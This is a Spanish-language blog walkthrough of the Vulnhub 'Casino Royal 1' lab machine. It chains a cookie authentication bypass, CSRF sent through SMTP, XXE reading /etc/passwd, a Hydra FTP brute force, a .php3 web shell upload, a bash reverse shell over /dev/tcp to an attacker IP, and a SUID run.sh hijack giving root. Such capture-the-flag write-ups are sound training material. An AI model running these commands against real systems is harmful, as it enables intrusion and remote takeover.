Home Vulnhub - Casino Royal 1
Post
Cancel

Vulnhub - Casino Royal 1

Description: The flags start off easy and get harder as you progress. Each flag contains a hint to the next flag. Will you gain your status as a 00 agent?

  • Flag is /root/flag/flag.sh

Máquina Casino Royal 1


Reconocimiento

Identificamos el Target y escaneamos los puertos abiertos. arp scan

Realizamos el escaneo por nmap de las principales recursos por http. scan2

De toda las rutas encontradas, tenemos uno interesante, en donde nos muestra este servicio PokerMax. install

Al parecer este servicio es vulnerable

configure.php in PokerMax Poker League Tournament Script 0.13 allows remote attackers to bypass authentication and gain administrative access by setting the ValidUserAdmin cookie. De igual manera vemos un nombre de una tabl pokerleague, tendremos esto en cuenta.

poker

Buscando en la web, econtramos un exploit,el cual nos indica que podemos agregar la siguiente línea en la consola de la web, en la ruta que se muestra más abajo.

exploit

Si no existe pokerleague, buscamos por pokeradmin y es aquí donde ingresamos esta línea de java De esta manera se agrega la cookie.

java

Como se observa ya tenemos almacenada el valor admin. Cargamos la página y ya tenemos acceso.

admin

Ya dentro de pokeradmin,vemos el perfil del usuario admin y tenemos una descripcion, que referencia a un Virtual Hosting, por ende, modificamos en /etc/hosts con el dominio mostrado.

useradmin vh

Enumeracion

Ahora dentro de esta plataforma pokeradmin buscaremos vectores de explotación, es aqui donde podemos visualizar usuarios, donde uno de ellos tiene un email (Valenka)

users valenka

Click Edit Info, podemos apreciar que tiene otro recurso adicional, bajo casino-royal.local host

Al ingresar tenemos otra plataforma Snowfox. snow

Buscaremos un posible exploit, y al parecer tiene un CSRF que agrega un usuario admin. Usamos el cuerpo del script en html y lo editamos.

search html

Dentro de la página de Snowfox nos muestra un mensaje, este nos indica que valenka lee los mensajes, y tiene permisos administradores, entonces si enviamos un archivo html con estos campos modificados y generamos un CSRF, podremos tener un acceso a esta plataforma Snowfox.

msj

Explotacion

CSRF Creamos un .html donde modificamos los campos necesarios,y asi para obtener el CSRF.

body

Pero como enviamos un correo, es aquí donde recordamos que teníamos un servicio SMTP en el puerto 25. Es de esta manera que podremos conectarnos a este y enviar desde aqui el mensaje.

telnet

Compartimos el servicio html antes de enviar el mensaje.

server rece

Una vez con éxito ya podemos loguearnos con el usuario creado.

login

Teniendo acceso tenemos una lista de email.Vemos un apartado de Manage user, enumeramos uno por uno.

enum

El usuario le@casino-royale.local , tiene una dirección adicional que nos redireccionará a esta web.

ultra

Quitamos el .php y nos damos cuenta que tenemos capacidad de Directory Listing. Así que podemos buscar la forma de subir un archivo y ejecutarlos en este directorio.

access

XXE Regresando a la pagina anterior,miramos el código de esta página y observamos que por POST, puede ser vulnerable a XML.

crede

Adicionalmente a ello vemos que imprime Welcome ! , como no se le asigna ningún usuario, no se muestra en la respuesta.

welcome

Capturamos y cambiamos la petición a POST, Agregamos los campos del XML para usuario y password, enviamos y confirmamos XML, puesto que nos muestra el campo del usuario en el Render del Response.

burp

De esta manera aplicamos el XXE, para leer el archivo /etc/passwd

xxe new

Tenemos un nuevo usuario, generamos un ataque con Hydra por FTP,si deseas usar rockyou.txt esto tomara 2h para encontrar una passwd, y logearnos. Les adelanto que la contraseña empezaría con bank.

1
hydra -l ftpUserULTRA -P pass.txt ftp://192.168.65.144 -t 15

Ya dentro del servicio ftp, buscamos subir un archivo con extension php.

ftp

Encontramos estos recursos, que son los mismos vistos en la web. Por ende subiremos un archivo malicioso.

files

RCE Creamos el .php , con un parametro cmd.

hack

Pero al intentar subir el archivo, el sistema nos impide. Puede ser por la extension, así que intentaremos bypassear. Cambiando la extension a php3.

put

Se subió de manera exitosa.

tran

Asi que en la web, cargamos el recurso y ejecutamos el comando que deseamos.

web

Pero nos damos con la sorpresa que no tenemos respuesta, esto nos hace pensar que no tenemos el permiso de ejecutar el archivo.

cmdd

Cambiamos permisos

perm

Y ahora ejecutamos nuestra Reverse shell. Recomendado urlencodear el & con %26

1
bash -c "bash -i >& /dev/tcp/192.168.65.139/443 0>&1"

netcat

Persistencia

De esta manera enumeramos el sistema, para ello en esta misma ruta es bueno verificar archivos de configuración almacenados.

1
find . -name \*config\* 2>/dev/null -exec cat {} \; | less -S -r

Tenemos nuevas credenciales

cred esc

Buscamos suid. Y encontramos un recurso

sui

Al intentar ejecutar este binario, no encuentra un run.sh

run

Lo curioso es que existe un run.sh dentro de la misma carpeta, pero solo lo ejecuta el usuario le, no valeska. Así que analizaremos el script, para encontrar una respuesta.

per

1
strings /opt/casino-royale/mi6_detect_test

Y en efecto vemos que simplemente ejecuta una bash de run.sh, no especifica la ruta completa, de esta manera podemos aprovechar esto.

strg

Es aquí donde creamos nuestro archivo run.sh que el binario si pueda ejecutar.

crear

1
2
3
#!/bin/bash

bash -p

Ejecutamos el binario y ya tendremos acceso root.

edit

Podemos observar la flag por la web, utilizando php.

serv

root

This post is licensed under CC BY 4.0 by the author.